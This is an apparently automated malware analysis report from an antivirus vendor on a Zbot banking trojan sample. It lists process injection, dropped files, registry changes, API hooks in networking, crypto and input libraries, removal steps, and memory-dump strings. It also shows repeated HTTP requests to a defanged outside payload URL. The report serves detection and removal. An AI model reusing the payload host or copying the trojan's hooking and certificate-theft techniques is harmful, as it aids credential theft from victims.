Trojan.Zbot.IUC_b0ae6870e5 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

WinMail.exe:2696
%original file name%.exe:1072

The Trojan injects its code into the following process(es):

Explorer.EXE:244
TPAutoConnect.exe:612
conhost.exe:1076
taskhost.exe:1924
Dwm.exe:2044
conhost.exe:3876

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process WinMail.exe:2696 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarB25F.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\WindowsMail.MSMessageStore (40696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Drafts\winmail.fol (560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabB25E.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\WindowsMail.pat (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Junk E-mail\winmail.fol (592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\edb00002.log (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Sent Items\winmail.fol (592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Deleted Items\winmail.fol (608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Outbox\winmail.fol (560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ppcrlui_2696_2 (1281 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\winmail.fol (544 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\tmp.edb (1728 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb.log (25168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb.chk (300 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E6024EAC88E6B6165D49FE3C95ADD735 (558 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\6AE91448-00000001.eml:OECustomProperty (260 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\WindowsMail.MSMessageStore (99 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\6AE91448-00000001.eml (1924 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E6024EAC88E6B6165D49FE3C95ADD735 (968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\WindowsMail.pat (400 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edbtmp.log (3466 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\old\WindowsMail.pat (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarB25F.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ppcrlui_2696_2.ui (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb00001.log (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabB25E.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ppcrlui_2696_2 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\old\WindowsMail.MSMessageStore (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edbtmp.log (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\old\edb00001.log (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\old (0 bytes)

The process %original file name%.exe:1072 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\tmp368d0b04.bat (179 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Oqzuk\doiw.exe (621 bytes)

Registry activity

The process WinMail.exe:2696 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\IdentityCRL\Dynamic Salt]
"Size" = "330"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows Mail]
"Compact Check Count" = "2"
"Settings Upgraded" = "10"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows Mail\Junk Mail\Block Senders List]
"Version" = "327680"

[HKCU\Identities\{C692FCB0-9162-422E-94A4-4CD072B19CA9}]
"Identity Ordinal" = "1"

[HKCU\Software\Microsoft\Windows Mail]
"LastBackup" = "E0 07 0C 00 06 00 11 00 13 00 25 00 18 00 93 03"
"Running" = "1"
"V7StoreMigDone" = "01 00 00 00"
"StoreMigratedV5" = "1"

[HKCU\Software\Microsoft\Windows Mail\Junk Mail\Safe Senders List]
"Version" = "327680"

[HKCU\Software\Microsoft\Windows Mail\Mail]
"Welcome Message" = "0"

[HKCU\Software\Microsoft\Windows Mail]
"SpoolerDlgPos" = "2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF"

[HKCU\Software\Microsoft\IdentityCRL\Dynamic Salt]
"Value" = "01 00 00 00 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0"

[HKCU\Identities]
"Identity Ordinal" = "2"

[HKCU\Software\Microsoft\Windows Mail\Mail]
"Secure Safe Attachments" = "1"

[HKCU\Software\Classes\Local Settings\MuiCache\2F\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows Mail\Mail]
"Default_CodePage" = "28591"

[HKCU\Software\Microsoft\WAB]
"NamedPropCount" = "1"

[HKCU\Software\Microsoft\IAM\Accounts]
"ConnectionSettingsMigrated" = "1"

[HKCU\Software\Microsoft\Windows Mail]
"SpoolerTack" = "0"

[HKCU\Software\Microsoft\IAM]
"Default News Account" = "account{CE54EE8F-8454-4E11-A69C-0E6F9BED6C0A}.oeaccount"
"Default LDAP Account" = "account{5F33D8D7-3326-4E0C-969F-F201824EF068}.oeaccount"

[HKCU\Software\Microsoft\Windows Mail]
"lastrun" = "4D 05 CA 03 9D 58 D2 01"

[HKCU\Software\Microsoft\Windows Mail\Mail]
"Safe Attachments" = "1"

[HKCU\Software\Microsoft\IAM]
"Server ID" = "2"

[HKCU\Software\Microsoft\WAB]
"NamedProps" = "04 20 06 00 00 00 00 00 C0 00 00 00 00 00 00 46"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\WAB]
"NamedPropCount"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Identities]
"Changing"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Identities]
"IncomingID"
"OutgoingID"

[HKCU\Software\Microsoft\WAB]
"NamedProps"

Dropped PE files

MD5	File path
cd7771f2c800f9151ae839f17b97de79	c:\Users\"%CurrentUserName%"\AppData\Roaming\Oqzuk\doiw.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestA
HttpSendRequestW
HttpSendRequestExW
InternetReadFileExA
InternetQueryDataAvailable
InternetReadFile
HttpQueryInfoA
InternetCloseHandle

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
ReleaseCapture
SetCapture
GetMessagePos
DefDlgProcW
CallWindowProcA
DefMDIChildProcA
DefFrameProcA
GetUpdateRgn
DefFrameProcW
DefMDIChildProcW
DefDlgProcA
GetClipboardData
GetMessageW
TranslateMessage
PeekMessageW
EndPaint
BeginPaint
GetDC
ReleaseDC
DefWindowProcW
GetWindowDC
GetDCEx
CallWindowProcW
PeekMessageA
GetMessageA
RegisterClassExW
RegisterClassW
RegisterClassA
DefWindowProcA
GetUpdateRect
GetCursorPos
GetCapture
RegisterClassExA
OpenInputDesktop
SwitchDesktop

The Trojan installs the following user-mode hooks in WS2_32.dll:

send
WSASend
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
ZwCreateUserProcess

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
WinMail.exe:2696
%original file name%.exe:1072
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarB25F.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\WindowsMail.MSMessageStore (40696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Drafts\winmail.fol (560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabB25E.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\WindowsMail.pat (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Junk E-mail\winmail.fol (592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\edb00002.log (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Sent Items\winmail.fol (592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Deleted Items\winmail.fol (608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Outbox\winmail.fol (560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ppcrlui_2696_2 (1281 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\winmail.fol (544 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\tmp.edb (1728 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb.log (25168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb.chk (300 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E6024EAC88E6B6165D49FE3C95ADD735 (558 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\6AE91448-00000001.eml:OECustomProperty (260 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\WindowsMail.MSMessageStore (99 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E6024EAC88E6B6165D49FE3C95ADD735 (968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\WindowsMail.pat (400 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edbtmp.log (3466 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\tmp368d0b04.bat (179 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Oqzuk\doiw.exe (621 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.code	4096	62449	62464	3.18667	d0131a47c0aba5d74cc898ab7230a712
.text	69632	51791	52224	4.53421	09eedfe8989f368d4a88bdd09a0e4021
.rdata	122880	226	512	0.80459	2661b88ca734e1392afd62ca2b4defa6
.data	126976	152164	143360	5.26879	4e5a1adcf603fc2cea69ff3a76ca2894
.rsrc	282624	50184	50688	3.23948	fe6dcc5cc5270edf7a33f3cec1e74be7

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://www.gkmexico.com/sos/css/bor.bin	158.69.126.3
hxxp://a1363.dscg.akamai.net/pki/crl/products/CodeSignPCA.crl
hxxp://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl	212.30.134.167

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /sos/css/bor.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.gkmexico.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Date: Sat, 17 Dec 2016 19:37:19 GMT

Server: Apache/2

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access ..29../sos/css/bor.bin on this server..<HR>.<I>..11c..VVV.gkmexico.com</I>.</BODY></HTML>...........................................................................................................................................................................................................................................................0..

GET /sos/css/bor.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.gkmexico.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Date: Sat, 17 Dec 2016 19:37:36 GMT

Server: Apache/2

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access ..29../sos/css/bor.bin on this server..<HR>.<I>..11c..VVV.gkmexico.com</I>.</BODY></HTML>..............................................................................................................

GET /sos/css/bor.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.gkmexico.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Date: Sat, 17 Dec 2016 19:37:30 GMT

Server: Apache/2

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access ..29../sos/css/bor.bin on this server..<HR>.<I>..11c..VVV.gkmexico.com</I>.</BODY></HTML>...........................................................................................................................................................................................................................................................0..

GET /sos/css/bor.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.gkmexico.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Date: Sat, 17 Dec 2016 19:37:30 GMT

Server: Apache/2

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access ..29../sos/css/bor.bin on this server..<HR>.<I>..11c..VVV.gkmexico.com</I>.</BODY></HTML>...........................................................................................................................................................................................................................................................0..

GET /sos/css/bor.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.gkmexico.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Date: Sat, 17 Dec 2016 19:37:35 GMT

Server: Apache/2

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access ..29../sos/css/bor.bin on this server..<HR>.<I>..11c..VVV.gkmexico.com</I>.</BODY></HTML>...........................................................................................................................................................................................................................................................0..

GET /sos/css/bor.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.gkmexico.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Date: Sat, 17 Dec 2016 19:37:25 GMT

Server: Apache/2

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access ..29../sos/css/bor.bin on this server..<HR>.<I>..11c..VVV.gkmexico.com</I>.</BODY></HTML>...........................................................................................................................................................................................................................................................0..

GET /sos/css/bor.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.gkmexico.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Date: Sat, 17 Dec 2016 19:37:19 GMT

Server: Apache/2

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access ..29../sos/css/bor.bin on this server..<HR>.<I>..11c..VVV.gkmexico.com</I>.</BODY></HTML>...........................................................................................................................................................................................................................................................0..

GET /sos/css/bor.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.gkmexico.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Date: Sat, 17 Dec 2016 19:37:24 GMT

Server: Apache/2

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access ..29../sos/css/bor.bin on this server..<HR>.<I>..11c..VVV.gkmexico.com</I>.</BODY></HTML>...........................................................................................................................................................................................................................................................0..

GET /pki/crl/products/CodeSignPCA.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com

HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Mon, 16 Apr 2012 23:49:48 GMT

Accept-Ranges: bytes

ETag: "0f6669b2b1ccd1:0"

Server: Microsoft-IIS/8.5

VTag: 438195957300000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 558

Cache-Control: max-age=900

Date: Sat, 17 Dec 2016 19:37:33 GMT

Connection: keep-alive

0..*0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1 0)..U..."Copyright (c) 2000 Microsoft Corp.1#0!..U....Microsoft Code Signing PCA..111110211944Z..420416234935Z.7050...U.#..0...%. K].rT....*.....S.0... .....7.........0...*.H...............&..%PIu@.....\0KF....0..^.h9=.1jT,5.L....Ed ..6.......i.6.xva....oX.^f'....s...!......O...h.1a..Ud);.?....J_...Fu....<v.zx..t..h.0JU%.nk;..B[4.?&Zm^..M.!.'...w.u.\T..Tr..Ch.[.z:....#...T.4Ct.......,...c..}F..U....:..7J...%.#..D6 . ....G..#....T..G;......HTTP/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modified: Mon, 16 Apr 2012 23:49:48 GMT..Accept-Ranges: bytes..ETag: "0f6669b2b1ccd1:0"..Server: Microsoft-IIS/8.5..VTag: 438195957300000000..P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Content-Length: 558..Cache-Control: max-age=900..Date: Sat, 17 Dec 2016 19:37:33 GMT..Connection: keep-alive..0..*0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1 0)..U..."Copyright (c) 2000 Microsoft Corp.1#0!..U....Microsoft Code Signing PCA..111110211944Z..420416234935Z.7050...U.#..0...%. K].rT....*.....S.0... .....7.........0...*.H...............&..%PIu@.....\0KF....0..^.h9=.1jT,5.L....Ed ..6.......i.6.xva....oX.^f'....s...!......O...h.1a..Ud);.?....J_...Fu....<v.zx..t..h.0JU%.nk;..B[4.?&Zm^..M.!.'...w.u.\T..Tr..Ch.[.z:....#...T.4Ct.......,...c..}F..U....:..7J

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

Explorer.EXE_244_rwx_02C20000_00027000:

.text

`.data

.reloc

PR_OpenTCPSocket

hXXp://VVV.google.com/webhp

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

,127!' ./9

5/ -?9/#$

./.-#**:

6 !26!1'1

7"52),,>

, >(3=2;

&;1"&1!7!1

;1 "?&! ?

c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_

7.>.3; `

1:,0/2$7

?$6 39 ~

HTTP/1.1

hXXp://

hXXps://

HTTP/1.

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

SSShlD

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

GetKeyboardState

MapVirtualKeyW

SetKeyboardState

MsgWaitForMultipleObjects

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersA

InternetCrackUrlA

HttpOpenRequestA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

>">->3>?>

5S5C5N5Z5

nspr4.dll

cGlobal\XXX

SysShadow

e.dat

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}

C:\Users\"%CurrentUserName%"\AppData\Roaming

{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

TPAutoConnect.exe_612_rwx_003C0000_00027000:

.text

`.data

.reloc

PR_OpenTCPSocket

hXXp://VVV.google.com/webhp

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

,127!' ./9

5/ -?9/#$

./.-#**:

6 !26!1'1

7"52),,>

, >(3=2;

&;1"&1!7!1

;1 "?&! ?

c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_

7.>.3; `

1:,0/2$7

?$6 39 ~

HTTP/1.1

hXXp://

hXXps://

HTTP/1.

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

SSShlD

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

GetKeyboardState

MapVirtualKeyW

SetKeyboardState

MsgWaitForMultipleObjects

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersA

InternetCrackUrlA

HttpOpenRequestA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

>">->3>?>

5S5C5N5Z5

nspr4.dll

cGlobal\XXX

SysShadow

e.dat

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}

C:\Users\"%CurrentUserName%"\AppData\Roaming

{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

conhost.exe_1076_rwx_00180000_00027000:

.text

`.data

.reloc

PR_OpenTCPSocket

hXXp://VVV.google.com/webhp

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

,127!' ./9

5/ -?9/#$

./.-#**:

6 !26!1'1

7"52),,>

, >(3=2;

&;1"&1!7!1

;1 "?&! ?

c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_

7.>.3; `

1:,0/2$7

?$6 39 ~

HTTP/1.1

hXXp://

hXXps://

HTTP/1.

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

SSShlD

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

GetKeyboardState

MapVirtualKeyW

SetKeyboardState

MsgWaitForMultipleObjects

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersA

InternetCrackUrlA

HttpOpenRequestA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

>">->3>?>

5S5C5N5Z5

nspr4.dll

cGlobal\XXX

SysShadow

e.dat

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

